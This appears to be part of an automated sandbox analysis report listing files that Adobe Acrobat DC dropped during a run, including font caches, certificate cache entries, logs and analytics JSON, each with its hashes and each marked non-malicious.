Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.170712948478986
Encrypted:	false
SSDEEP:	6:iOGDM+q2PCHhJ2nKuAl9OmbzNMxIFUt0FUgZmwkDMVkwOCHhJ2nKuAl9OmbzNMFd:72M+vBHAa8jFUt0L/oMV56HAa84J
MD5:	39A0FE845AE75A9ADB6E333C499FF323
SHA1:	C35707953AD159967547BD87F048FB2100D1CCAD
SHA-256:	D66EFFE8CD1CDB324C7A334D032C9A289F402D6412FE49F81A30B466164ACE14
SHA-512:	F1A0DB738A260167BEDD4C837C3567CAD510C59AEA89B7CBEC1551B4DDA8747F4D7B5BF6A96282D8B39C82EAA2B54B2EB4A77F943F0D22AD92606EBF247EA381
Malicious:	false
Preview:	2025/01/13-04:14:13.732 efc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-04:14:13.733 efc Recovering log #3.2025/01/13-04:14:13.734 efc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.170712948478986
Encrypted:	false
SSDEEP:	6:iOGDM+q2PCHhJ2nKuAl9OmbzNMxIFUt0FUgZmwkDMVkwOCHhJ2nKuAl9OmbzNMFd:72M+vBHAa8jFUt0L/oMV56HAa84J
MD5:	39A0FE845AE75A9ADB6E333C499FF323
SHA1:	C35707953AD159967547BD87F048FB2100D1CCAD
SHA-256:	D66EFFE8CD1CDB324C7A334D032C9A289F402D6412FE49F81A30B466164ACE14
SHA-512:	F1A0DB738A260167BEDD4C837C3567CAD510C59AEA89B7CBEC1551B4DDA8747F4D7B5BF6A96282D8B39C82EAA2B54B2EB4A77F943F0D22AD92606EBF247EA381
Malicious:	false
Preview:	2025/01/13-04:14:13.732 efc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-04:14:13.733 efc Recovering log #3.2025/01/13-04:14:13.734 efc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.758260862989183
Encrypted:	false
SSDEEP:	3:kkFklEDgN/ltfllXlE/HT8kuekljNNX8RolJuRdxLlGB9lQRYwpDdt:kKdDYeT8esRNMa8RdWBwRd
MD5:	E5F4B9C89440E31EFC1A1EF8991DEBC6
SHA1:	AE4DA3B4989B2241DF913FAA9A9EAF8AD58F85D1
SHA-256:	A234C0B1FA759DAB1060E8A8712BE1B6C7EE0AC9F20FE72135758195583C515D
SHA-512:	A205E1E3EAAB4E31B9BB20223EA016912EF2816AB513E0BC0402B48F0872B0DFDB3756F43D2D94A62A0256F8E0B8B9AC9B3B5E6DF296588CC2814F82E4288C59
Malicious:	false
Preview:	p...... .........f1..e..(....................................................... ..........W....K;..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236007213199359
Encrypted:	false
SSDEEP:	6:kKrrL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:DriDImsLNkPlE99SNxAhUe/3
MD5:	97DBD65124D007CE752C421D3176D562
SHA1:	C8AE8B7EFEEC4490B1BD2F17A6F68FF5F6EF51BA
SHA-256:	AB127ED6091CA4BB14DD15C3D7DA6EADA8B1E4AE31857B8AFF866693A3B22296
SHA-512:	6BA2944708B555D74BF0B5F7F50FD099BFC1225E5848EF799C6CB8770043223C948C849A228AB6EA1C174836530F7C516164328D3F61D88D7D0CDB870C267236
Malicious:	false
Preview:	p...... ........8.z..e..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2044

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2044

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.33731170120267
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJM3g98kUwPeUkwRe9:YvXKXyJWvR/ZwHAhhMGMbLUkee9
MD5:	CF19697D83F321C2D140CCA1827282A2
SHA1:	C44D3CFCB281EDA3622F36AD2DE2A372118E0D51
SHA-256:	F11168BFA84AEE7C44367E821C84FBD08FDD9C6711ACF923E8001969D9A59101
SHA-512:	224F558301C45EE768C258B4FFBF1C489F4BD5E964F7E8AE3BB2A66ED1A4CFF1547748CF80F4CC2B41B081A9AD4080E829A818D2268DEAEB6B1C7C36B34F3AB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.273707992902028
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJfBoTfXpnrPeUkwRe9:YvXKXyJWvR/ZwHAhhMGWTfXcUkee9
MD5:	FD2E07E755BF47F72225CFA2CE82B848
SHA1:	582B6D56B22D850C481B1B6F029C1610EC094505
SHA-256:	BBE41BDF5F1F6A6CF3680BC6A9806FD9EC612A18B13B3775588F75220E42E631
SHA-512:	DC73D929E2A677B3677FABD601FCBA55261FC6161069418EFF05EFCC32B5E0B8A82707506520EC4F88ACC510D1DAC7956C68002CFCEB2F276C49BAA63AE87053
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.252256309428033
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJfBD2G6UpnrPeUkwRe9:YvXKXyJWvR/ZwHAhhMGR22cUkee9
MD5:	DD99BBFB75AB5A9BDF2060491BA4889D
SHA1:	AA2B3901ECA86ED7193797811882A229DA7F4ABE
SHA-256:	48B461C6F30E10FA26DA23633B355CC8285E58D44FA5D506057EF9591B947CF7
SHA-512:	EA7DA242D7579A4B2FB4BEFD53DE92D2D45F747CF6C06F9569B36B93C120C68D0D2FEEE64789692A4658370640AD14C161B5A5534FA3D4E30769588A960290C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.313346153533421
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJfPmwrPeUkwRe9:YvXKXyJWvR/ZwHAhhMGH56Ukee9
MD5:	041E4F592E2A859BC7F3767B611F4DDF
SHA1:	3F687399F0FE1908F0B3A65862B8E2215A513046
SHA-256:	5040086E122F0077B3FA45FEA7EC3782151D9303EBAF3E06AAC1758D50AD884F
SHA-512:	C79F621F174A7710E14749BDCE9B4353C7D707375D3A7F15DBA5E10F4AF0E159C37EE092FD8EA640208ED51AAF4454BA3A9072E5A26B8DBE4FB9984E5E754B9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691421904852556
Encrypted:	false
SSDEEP:	24:Yv6XyJWJhV7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSx:Yv7YJhV7hgy6SAFv5Ah8cv/x
MD5:	47CCEC7C7E109E8BEE9B7F2A28BA4637
SHA1:	5B075B05A36C4B730510AB1601C659137105A80F
SHA-256:	673364D227BBD79DC02EFCEC2BBDD65C19D862B932A7B5221215BA826016C400
SHA-512:	352D8D9A11635366DB7733AE595BE7D9031D66827054FC2DC0CBE6310B3182258790474E5DEB6AB1E45CBAD3324A7D9E01BFBC4F6F96CC62DCB28D62B98C5A84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2636533308578395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJf8dPeUkwRe9:YvXKXyJWvR/ZwHAhhMGU8Ukee9
MD5:	6E91F3B1CA23E0EF96ECE5C8B48C0755
SHA1:	DCAEA294C01D313A5E861DEE2402CC9FD8D6F15A
SHA-256:	5A40D338A2E1E8DAFA70A39C7DF26A8084227E41E35B3F53018F8F5F1178BAC6
SHA-512:	A44A5FE41B9E0C6CB00D41132AE3CB86697F06DEA2F9E82005B20DDFCBD28246B13E95DE5DCA07CDF1C63E582BE03DA5C1A5595D8658F1A70FBCB03E519CCE16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.261776299554283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJfQ1rPeUkwRe9:YvXKXyJWvR/ZwHAhhMGY16Ukee9
MD5:	9D0221A0F395DF1E022C455241AEE666
SHA1:	7B3350A8BFEF68847DBDEE1FC869791AC7967BE8
SHA-256:	CFC364835ADBDE653D6453B8091BB00F3398598F2D280282677F1D808B90B995
SHA-512:	E74788A5262F115AEA84F67992F429FEAAECC336586F189B190517CB18526919C520F66EC4FAA7582468AC05080726C4427220534E3A82A99F8F29D2B8C01F41
Malicious:	false
